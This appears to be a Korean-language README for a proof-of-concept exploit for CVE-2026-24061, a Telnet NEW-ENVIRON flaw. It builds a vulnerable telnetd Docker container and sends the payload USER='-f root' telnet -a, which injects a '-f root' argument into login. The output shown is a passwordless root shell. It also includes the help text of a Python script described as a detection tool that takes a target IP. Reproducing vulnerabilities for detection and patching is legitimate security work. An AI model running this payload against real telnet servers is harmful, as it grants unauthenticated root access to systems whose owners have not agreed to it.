r00tuser111/cve-2026-24061CVE-2026-24061에 대한 개념 증명 익스플로잇으로, Telnet NEW-ENVIRON 원격 코드 실행(RCE) 취약점이며, Docker 재현 환경과 Python 탐지 스크립트를 포함합니다.
이미지 빌드
docker build -t telnetd-bypass .
컨테이너 시작
docker run -it --rm \
--name telnetd-vuln \
--privileged \
-p 23:23 \
telnetd-bypass
payload 전송
USER='-f root' telnet -a 127.0.0.1 23
결과
Trying 127.0.0.1...
Connected to localhost.
Escape character is '^]'.
Linux 6.10.14-linuxkit (c910afb30330) (pts/1)
Linux c910afb30330 6.10.14-linuxkit #1 SMP Tue Oct 14 07:32:13 UTC 2025 aarch64
The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Thu Jan 22 05:55:47 UTC 2026 from 172.64.155.119 on pts/1
root@c910afb30330:~#
python3 poc.py -h
usage: poc.py [-h] -t TARGET [-p PORT]
CVE-2026-24061 Telnet NEW-ENVIRON RCE 취약점 탐지 도구
options:
-h, --help show this help message and exit
-t TARGET, --target TARGET
대상 IP 주소
-p PORT, --port PORT 대상 포트 (기본값: 23)
예시:
poc.py -t 192.168.1.100 -p 23
poc.py --target 127.0.0.1 --port 23